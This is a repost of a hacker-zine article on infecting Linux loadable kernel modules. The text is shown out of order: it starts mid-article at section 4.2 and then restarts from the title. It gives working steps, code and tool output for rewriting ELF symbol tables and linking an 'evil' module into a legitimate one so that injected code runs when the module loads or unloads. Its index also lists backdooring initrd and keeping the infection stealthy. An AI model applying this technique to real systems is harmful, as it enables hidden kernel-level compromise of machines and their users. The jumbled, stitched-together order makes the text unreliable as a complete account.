static int __init function_name();
The __init macro is used to describe the function as only being required
during initialisation time. Once initialisation has been performed, the
kernel will remove this function and release the corresponding memory.
The __init macro is defined in "include/linux/init.h":
/************************************************************************/*************************************************************************/
#define __init __section(.init.text) __cold notrace
/************************************************************************/*************************************************************************/
The __section macro is defined in "include/linux/compiler.h":
/************************************************************************/*************************************************************************/
#define __section(S) __attribute__ ((__section__(#S)))
/************************************************************************/*************************************************************************/
While __cold macro is defined in "/include/linux/compiler-gcc*.h":
/************************************************************************/*************************************************************************/
#define __cold __attribute__((__cold__))
/************************************************************************/*************************************************************************/
When the __init macro is used, a number of GCC attributes are added to the
function declaration. The __cold attribute informs the compiler to optimize
it for size instead of speed, because it'll be rarely used. The __section
attribute informs the compiler to put the text for this function in a new
section named ".init.text" [5]. How these __init functions are called can
be checked in "kernel/module.c":
/************************************************************************/*************************************************************************/
static void __init do_initcalls(void)
{
initcall_t *fn;
for (fn = __early_initcall_end; fn < __initcall_end; fn++)
do_one_initcall(*fn);
/* Make sure there is no pending stuff from the initcall sequence */
flush_scheduled_work();
}
/************************************************************************/*************************************************************************/
For each step of the loop inside the do_initcalls() function, an __init
function set up by the module_init macro is executed. The injection will
work even if the function is declared with __init.
The module orig is as follows:
/******************************** orig.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
static int __init init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
static void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
After the compilation and as expected, a new .init.text section has
appeared:
$ objdump -t orig.ko
...
00000000 l F .init.text 00000016 init
00000000 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 orig.mod.c
00000020 l O .modinfo 00000023 __mod_srcversion31
00000043 l O .modinfo 00000009 __module_depends
00000000 l O __versions 000000c0 ____versions
00000060 l O .modinfo 0000003b __mod_vermagic5
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000000 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
Both init and init_module symbols are part of the .init.text section. This
new issue can be solved by defining the evil() function as __init:
/******************************** evil.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init init();
int __init evil(void) {
init();
printk(KERN_ALERT "Init Inject!");
/* does something */
return 0;
}
/******************************** EOF ************************************/
Both init() and evil() are prefixed with __init because we need them in
the same section. The same steps described in section 4.1.3 are then
performed:
1 - Change the init binding:
$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x77c
[+] Finding ".strtab" section...
>> Found at 0x7a4
[+] Getting symbol' infos:
>> Symbol found at 0x8fc
>> Index in symbol table: 0xf
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 10 to f
>> Moving symbol from 11 to 10
>> Moving symbol from 12 to 11
>> Moving symbol from 13 to 12
>> Moving symbol from 14 to 13
>> Moving symbol from 15 to 14
>> Moving our symbol from 15 to 15
>> Last LOCAL symbol: 0x15
>> Done!
[+] Updating symbol' infos:
[>> Symbol found at 0x95c
>> Index in symbol table: 0x15
>> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL'
[+] Updating symtab infos at 0x77c
2 - Link the modules together:
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
...
00000016 g F .init.text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000000 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 g F .init.text 00000016 init
3 - Change init_module address:
$ ./elfchger -s init_module -v 00000016 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbec
>> Index in symbol table: 0x1f
[+] Replacing 0x00000000 with 0x00000016... done!
$ objdump -t new.ko
...
00000016 g F .init.text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000016 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 g F .init.text 00000016 init
4 - Load the module in memory:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[ 323.085545] Init Original!
[ 323.085553] Init Inject!
As expected, it works!
---[ 4.3 - What about cleanup_module
These methods work fine with the cleanup_module symbol which is called by
the kernel when the module is unloaded. Never forget to deal with the
termination function as well because if you don't and if the infected
module was removed for some reason then your kernel would most likely crash
(because there would now be invalid references to the module).
The module exit function can be injected simply by altering the symbol
whose name is specified in elfchger:
$ ./elfchger -s cleanup_module -v address_evil_fn new.ko
In this way, when the module is unloaded, the evil() function will be
invoked instead of the clean() one. You may also need to deal with binding
issues and __exit attribute but the adaptation of the previous method is
straightforward.
Part 2: http://www.anarchyforums.net/Thread-Infe...tyx-Part-2
Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13
|=-----------------------------------------------------------------------=|
|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ by styx^ ]=-----------------------------=|
|=-----------------------=[ the.styx@Gmail.com ]=------------------------=|
|=-----------------------------------------------------------------------=|
---[ Index
1 - Introduction
2 - Kernel 2.4.x method
2.1 - First try
2.2 - LKM loading explanations
2.3 - The relocation process
3 - Playing with loadable kernel modules on 2.6.x/3.0.x
3.1 - A first example of code injection
4 - Real World: Is it so simple?
4.1 - Static functions
4.1.1 - Local symbol
4.1.2 - Changing symbol bind
4.1.3 - Try again
4.2 - Static __init functions
4.3 - What about cleanup_module
5 - Real life example
5.1 - Inject a kernel module in /etc/modules
5.2 - Backdooring initrd
6 - What about other systems?
6.1 - Solaris
6.1.1 - A basic example
6.1.2 - Playing with OS modules
6.1.3 - Keeping it stealthy
6.2 - *BSD
6.2.1 - FreeBSD - NetBSD - OpenBSD
7 - Conclusion
8 - References
9 - Codes
9.1 - Elfstrchange
9.2 - elfstrchange.patch
---[ 1 - Introduction
In Phrack #61 [1] truff introduced a new method to infect a loadable kernel
module on Linux kernel x86 2.4.x series. Actually this method is currently
not compatible with the Linux kernel 2.6.x/3.0.x series due to the many
changes made in kernel internals. As a result, in order to infect a kernel
module, changing the name of symbols in .strtab section is not enough
anymore; the task has become a little bit trickier. In this article it
will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x
series. All the methods discussed here have been tested on kernel version
2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel
version 2.6.18-238 on CentOS 5.6.
The proposed method has been tested only on 32-bit architectures: a 64-bit
adaptation is left as an exercise to the reader. Finally, I want to
clarify that the proposed paper is not innovative, but is only an update of
truff's paper.
---[ 2 - Kernel 2.4.x method
---[ 2.1 - First try
With the help of a simple example it will be explained why truff's method
is no longer valid: we are using the "elfstrchange" tool provided in his
paper. First, let's write a simple testing kernel module:
/****************** orig.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int evil(void) {
printk(KERN_ALERT "Init Inject!");
return 0;
}
int init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/****************** EOF **************************************************/
The module_init macro is used to register the initialization function of
the loadable kernel module: in other words, the function which is called
when the module is loaded, is the init() function. Reciprocally the
module_exit macro is used to register the termination function of the LKM
which means that in our example clean() will be invoked when the module is
unloaded. These macros can be seen as the constructor/destructor
declaration of the LKM object. A more exhaustive explanation can be found
in section 2.2.
Below is the associated Makefile:
/****************** Makefile *********************************************/
obj-m += orig.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
/****************** EOF **************************************************/
Now the module can be compiled and the testing can start:
$ make
...
Truff noticed that altering the symbol names located in the .strtab section
was enough to fool the resolution mechanism of kernel v2.4. Indeed the
obj_find_symbol() function of modutils was looking for a specific symbol
("init_module") using its name [1]:
/************************************************************************/*************************************************************************/
module->init = obj_symbol_final_value(f, obj_find_symbol(f,
SPFX "init_module"));
module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f,
SPFX "cleanup_module"));
/************************************************************************/*************************************************************************/
Let's have a look at the ELF symbol table of orig.ko:
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
We want to setup evil() as the initialization function instead of init().
Truff was doing it in two steps:
1. renaming init to dumm
2. renaming evil to init
This can easily be performed using his tool, "elfstrchange", slightly
bug-patched (see section 9):
$ ./elfstrchange orig.ko init dumm
[+] Symbol init located at 0xa91
[+] .strtab entry overwritten with dumm
$ ./elfstrchange orig.ko evil init
[+] Symbol evil located at 0xa4f
[+] .strtab entry overwritten with init
$ objdump -t orig.ko
...
00000040 g F .text 0000001b init <-- evil()
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b dumm <-- init()
Now we're loading the module:
$ sudo insmod orig.ko
$ dmesg |tail
...
[ 2438.317831] Init Original!
As we can see the init() function is still invoked. Applying the same
method with "init_module" instead of init doesn't work either. In the next
subsection the reasons of this behaviour are explained.
---[ 2.2 LKM loading explanations
In the above subsection I briefly mentioned the module_init and
module_exit macros. Now let's analyze them. In kernel v2.4 the entry and
exit functions of the LKMs were init_module() and cleanup_module(),
respectively. Nowadays, with kernel v2.6, the programmer can choose the
name he prefers for these functions using the module_init() and
module_exit() macros. These macros are defined in "include/linux/init.h"
[3]:
/************************************************************************/*************************************************************************/
#ifndef MODULE
[...]
#else /* MODULE */
[...]
/* Each module must use one module_init(). */
#define module_init(initfn) \
static inline initcall_t __inittest(void) \
{ return initfn; } \
int init_module(void) __attribute__((alias(#initfn)));
/* This is only required if you want to be unloadable. */
#define module_exit(exitfn) \
static inline exitcall_t __exittest(void) \
{ return exitfn; } \
void cleanup_module(void) __attribute__((alias(#exitfn)));
[...]
#endif /*MODULE*/
/************************************************************************/*************************************************************************/
We are only interested in the "loadable module" case, that is when MODULE
is defined. As you can see, init_module is always declared as an alias of
initfn, the argument of the module_init macro. As a result, the compiler
will always produce identical symbols in the relocatable object: one for
initfn and one for "module_init". The same rule applies for the termination
function, if the unloading mechanism is compiled in the kernel (that is if
CONFIG_MODULE_UNLOAD is defined).
When a module is compiled, first the compiler creates an object file for
each source file, then it generates an additional generic source file,
compiles it and finally links all the relocatable objects together.
In the case of orig.ko, orig.mod.c is the file generated and compiled as
orig.mod.o. The orig.mod.c follows:
/************************************************************************/*************************************************************************/
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0x4d5503c4, "module_layout" },
{ 0x50eedeb8, "printk" },
{ 0xb4390f9a, "mcount" },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5");
/************************************************************************/*************************************************************************/
This file declares and partially initializes a struct module which will be
stored in the ".gnu.linkonce.this_module" section of the object file. The
module struct is defined in "include/linux/module.h":
/************************************************************************/*************************************************************************/
struct module
{
[...]
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
[...]
/* Startup function. */
int (*init)(void);
[...]
/* Destruction function. */
void (*exit)(void);
[...]
};
/************************************************************************/*************************************************************************/
So when the compiler auto-generates the C file, it always makes the .init
and .exit fields of the struct pointing to the function "init_module" and
"cleanup_module". But the corresponding functions are not declared in this
C file so they are assumed external and their corresponding symbols are
declared undefined (*UND*):
$ objdump -t orig.mod.o
orig.mod.o: file format elf32-i386
SYMBOL TABLE:
[...]
00000000 *UND* 00000000 init_module
00000000 *UND* 00000000 cleanup_module
When the linking with the other objects is performed, the compiler is then
able to solve this issue thanks to the aliasing performed by the
module_init() and module_exit() macros.
$ objdump -t orig.ko
00000000 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000184 __this_module
00000040 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000040 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The aliasing can be seen as a smart trick to allow the compiler to declare
and fill the __this_module object without too much trouble. This object is
essential for the loading of the module in the v2.6.x/3.0.x kernels.
To load the LKM, a userland tool (insmod/modprobe/etc.) calls the
sys_init_module() syscall which is defined in "kernel/module.c":
/************************************************************************/*************************************************************************/
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
struct module *mod;
int ret = 0;
...
/* Do all the hard work */
mod = load_module(umod, len, uargs);
...
/* Start the module */
if (mod->init != NULL)
ret = do_one_initcall(mod->init);
...
}
/************************************************************************/*************************************************************************/
The load_module() function returns a pointer to a "struct module" object
when the LKM is loaded in memory. As stated in the source code,
load_module() handles the main tasks associated with the loading and as
such is neither easy to follow nor to explain in a few sentences. However
there are two important things that you should know:
- load_module() is responsible for the ELF relocations
- the mod->init is holding the relocated value stored in __this_module
Note: Because __this_module is holding initialized function pointers (the
address of init() and clean() in our example), there has to be a relocation
at some point.
After the relocation is performed, mod->init() refers to the kernel mapping
of init_module() and can be called through do_one_initcall() which is
defined in "init/main.c":
/************************************************************************/*************************************************************************/
int __init_or_module do_one_initcall(initcall_t fn)
{
int count = preempt_count();
int ret;
if (initcall_debug)
ret = do_one_initcall_debug(fn); <-- init_module() may be
else called here
ret = fn(); <-- or it may be called
here
msgbuf[0] = 0;
...
return ret;
}
/************************************************************************/*************************************************************************/
---[ 2.3 - The relocation process
The relocation itself is handled by the load_module() function and without
any surprise the existence of the corresponding entries can be found in the
binary:
$ objdump -r orig.ko
./orig.ko: file format elf32-i386
...
RELOCATION RECORDS FOR [.gnu.linkonce.this_module]:
OFFSET TYPE VALUE
000000d4 R_386_32 init_module
00000174 R_386_32 cleanup_module
This means that the relocation has to patch two 32-bit addresses (because
type == R_386_32) located at:
- (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1]
- (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2]
A relocation entry (in a 32-bit environment) is an Elf32_Rel object and
is defined in "/usr/include/elf.h":
/************************************************************************/*************************************************************************/
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index
*/
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8)
/************************************************************************/*************************************************************************/
The important thing to remember is that the symbol is located using
ELF32_R_SYM() which provides an index in the table of symbols, the .symtab
section.
This can be easily seen:
$ readelf -S ./orig.ko | grep gnu.linkonce
[10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32
[11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4
The relocation section associated with section 10 is thus section 11.
$ readelf -x 11 orig.ko
Hex dump of section '.rel.gnu.linkonce.this_module':
0x00000000 d4000000 01160000 74010000 01150000 ........t.......
So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b
(=21) for the second one. Now let's see the table of symbols:
$ readelf -s .orig.ko
Symbol table '.symtab' contains 33 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
...
21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module
22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
...
This is a perfect match. So when the LKM is loaded:
- The kernel performs a symbol resolution and the corresponding symbols
are updated with a new value. At his point init_module and
cleanup_module are holding kernel space addresses.
- The kernel performs the required relocations using the index in the
table of symbols to know how to patch. When the relocation is
performed __this_module has been patched twice.
At this point it should be clear that the address value of the init_module
symbol has to be modified if we want to call evil() instead of init().
---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x
As pointed out above, the address of the init_module symbol has to be
modified in order to invoke the evil() function at loading time. Since the
LKM is a relocatable object, this address is calculated using the offset
(or relative address) stored in the st_value field of the Elf32_Sym
structure [2], defined in "/usr/include/elf.h":
/************************************************************************/*************************************************************************/
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
/************************************************************************/*************************************************************************/
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The objdump output shows that:
- the relative address of evil() is 0x00000040;
- the relative address of init_module() is 0x00000020;
- the relative address of init() is 0x00000020;
Altering these offsets is enough to have evil() being called instead of
init_module() because the relocation process in the kernel will produce the
corresponding "poisoned" virtual address.
The orig.ko has to look like this:
00000040 g F .text 0000001b evil
...
00000040 g F .text 0000001b init_module
To do so, we can use my 'elfchger' script in order to modify the ELF file.
The code structure is the same as truff's one, with some minor changes.
The script takes the following input parameters:
./elfchger -s [symbol] -v [value] <module_name>
Where [value] represents the new relative address of the [symbol]
(init_module in our case) in <module_name>:
Let's apply it to our example:
$ ./elfchger -s init_module -v 00000040 orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x77c
[+] Finding ".strtab" section...
>> Found at 0x7a4
[+] Getting symbol' infos:
>> Symbol found at 0x99c
>> Index in symbol table: 0x16
[+] Replacing 0x00000020 with 0x00000040... done!
The ELF file is now changed:
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000040 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
Let's load the module:
$ sudo insmod orig.ko
$ dmesg | tail
...
[ 5733.929286] Init Inject!
$
As expected the evil() function is invoked instead of init() when the
module is loaded.
---[ 3.1 A first example of code injection
The next step is the injection of external code inside the original module
(orig.ko). A new kernel module (evil.ko) will be injected into orig.ko.
We will use both orig.c and evil.c source codes:
/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int init_module(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
/***************************** evil.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int evil(void) {
printk(KERN_ALERT "Init Inject!");
return 0;
}
/******************************** EOF ************************************/
Once the two modules orig.ko and evil.ko are compiled, they can be linked
together using the 'ld -r' command (as explained by truff) because they are
both relocatable objects.
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
new.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The evil() function has now been linked into the new.ko module. The next
step is to make init_module() (defined in orig.ko) an alias of evil()
(defined in evil.ko). It can be done easily using ./elfchger:
$ ./elfchger -f init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbe4
>> Index in symbol table: 0x1d
[+] Replacing 0x00000020 with 0x00000040... done!
At this point the module can be renamed and loaded:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg | tail
...
[ 6791.920363] Init Inject!
And the magic occurs
As already explained by truff, if we want the original module to work
properly, we need to call its initialization function. This can be done
using an imported symbol which will be fixed at linking time. The init()
function is declared as extern: this means that it will be resolved at
linking time. We use the following code:
/****************************** evil.c ***********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int init();
int evil(void) {
init();
printk(KERN_ALERT "Init Inject!");
/* do something */
return 0;
}
/******************************** EOF ************************************/
And it works:
$ dmesg | tail
...
[ 7910.392244] Init Original!
[ 7910.392248] Init Inject!
---[ 4 - Real World: Is it so simple?
In this section it will be shown why the method described above when used
in real life may not work. In fact the example modules were overly
simplified for a better understanding of the basic idea of module
infection.
---[ 4.1 - Static functions
The majority of Linux system modules are a little bit different from those
used above. Here is a more accurate example:
/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
static int init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
static void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
Let's try to use our method to inject the old evil code inside this new
orig module.
$ ld -r orig.ko evil.ko -o new.ko
$ sudo insmod new.ko
insmod: error inserting 'new.ko': -1 Unknown symbol in module
What? More information is needed:
$ dmesg | tail
...
[ 2737.539906] orig: Unknown symbol init (err 0)
The unknown symbol appears to be init. To understand the reason why init is
"unknown" let's have a look at the symbol table of new.ko:
$ objdump -t new.ko
...
SYMBOL TABLE:
...
00000000 l F .text 00000019 clean
00000020 l F .text 0000001b init
...
00000040 g F .text 00000020 evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 *UND* 00000000 init
This output shows that there are now two "init" symbols, one of them not
being defined (*UND*). This means that the linker does not perform
correctly the linking between the init functions in orig.ko and evil.ko. As
a result, when the module is loaded, the kernel tries to find the init
symbol, but since it is not defined anywhere it fails to do so and the
module is not loaded.
---[ 4.1.1 - Local symbol
The 'readelf' tool can give us more insight:
$ readelf -s orig.ko
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
14: 00000020 27 FUNC LOCAL DEFAULT 2 init
...
To summarize, we know about the init symbol that:
- its relative address is 0x00000020;
- its type is a function;
- its binding is local;
The symbol binding is now local (while it was previously global) since the
init function is now declared 'static' in orig.c. This has the effect to
reduce its scope to the file in which it is declared. For this reason the
symbol was not properly resolved by the linker. We need to do something in
order to change the scope of init, otherwise the injection won't work.
---[ 4.1.2 - Changing symbol binding
It's possible to change a symbol binding using the 'objcopy' tool. In fact
the '--globalize-symbol' option can be used to give global scoping to the
specified symbol:
$ objcopy --globalize-symbol=init ./orig.ko orig2.ko
But if for some reason, objcopy is not present, the tool that I wrote can
also globalize a particular symbol modifying all the necessary fields
inside the ELF file.
Each symbol table entry in the .symtab section is defined as follows [2]:
/******************************** EOF ************************************/
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
/******************************** EOF ************************************/
First, it's necessary to find in the ELF file the symbol we are looking for
(init) and check if it has a global or a local binding. The function
ElfGetSymbolByName() searches the offset at which init symbol is located in
the .symtab and it fills the corresponding "Elf32_Sym sym" structure.
Next, the binding type must be checked by looking at the st_info field.
Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>",
returns the expected binding value.
If the symbol has a local binding, these steps have to be performed:
1. Reorder the symbols: the symbol we are interested in must be placed
among the global symbols inside the .symtab section. We'll see later why
this step is mandatory. We need to move the init symbol from:
$ readelf -s orig.ko
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 SECTION LOCAL DEFAULT 1
2: 00000000 0 SECTION LOCAL DEFAULT 2
3: 00000000 0 SECTION LOCAL DEFAULT 4
4: 00000000 0 SECTION LOCAL DEFAULT 5
5: 00000000 0 SECTION LOCAL DEFAULT 6
6: 00000000 0 SECTION LOCAL DEFAULT 8
7: 00000000 0 SECTION LOCAL DEFAULT 9
8: 00000000 0 SECTION LOCAL DEFAULT 10
9: 00000000 0 SECTION LOCAL DEFAULT 12
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000020 27 FUNC LOCAL DEFAULT 2 init <-----
15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6
16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c
17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31
18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends
19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount
25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk
To:
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 SECTION LOCAL DEFAULT 1
2: 00000000 0 SECTION LOCAL DEFAULT 2
3: 00000000 0 SECTION LOCAL DEFAULT 4
4: 00000000 0 SECTION LOCAL DEFAULT 5
5: 00000000 0 SECTION LOCAL DEFAULT 6
6: 00000000 0 SECTION LOCAL DEFAULT 8
7: 00000000 0 SECTION LOCAL DEFAULT 9
8: 00000000 0 SECTION LOCAL DEFAULT 10
9: 00000000 0 SECTION LOCAL DEFAULT 12
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6
15: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c
16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31
17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends
18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <-----
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount
25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk
This task is accomplished by the "ReorderSymbols()" function.
2. Updating the information about the init symbol (i.e. its offset, index,
etc..) according to its new position inside the .symtab section.
3. Changing the symbol binding from local to global by modifying the
st_info field using the ELF32_ST_INFO macro:
#define ELF32_ST_INFO(b, t) (((b)<<4)+((t)&0xf))
Where 'b' is the symbol binding and 't' the symbol type.
The binding values are:
Name Value
==== =====
STB_LOCAL 0
STB_GLOBAL 1
STB_WEAK 2
STB_LOPROC 13
STB_HIPROC 15
Obviously, STB_GLOBAL has to be used for our purpose.
The type values are:
Name Value
==== =====
STT_NOTYPE 0
STT_OBJECT 1
STT_FUNC 2
STT_SECTION 3
STT_FILE 4
STT_LOPROC 13
STT_HIPROC 15
The STT_FUNC is the type value to specify functions.
So, the resulting macro will be:
ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);
The init st_info field should then be set equal to the macro's result.
4. Updating the symtab section header, defined as:
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
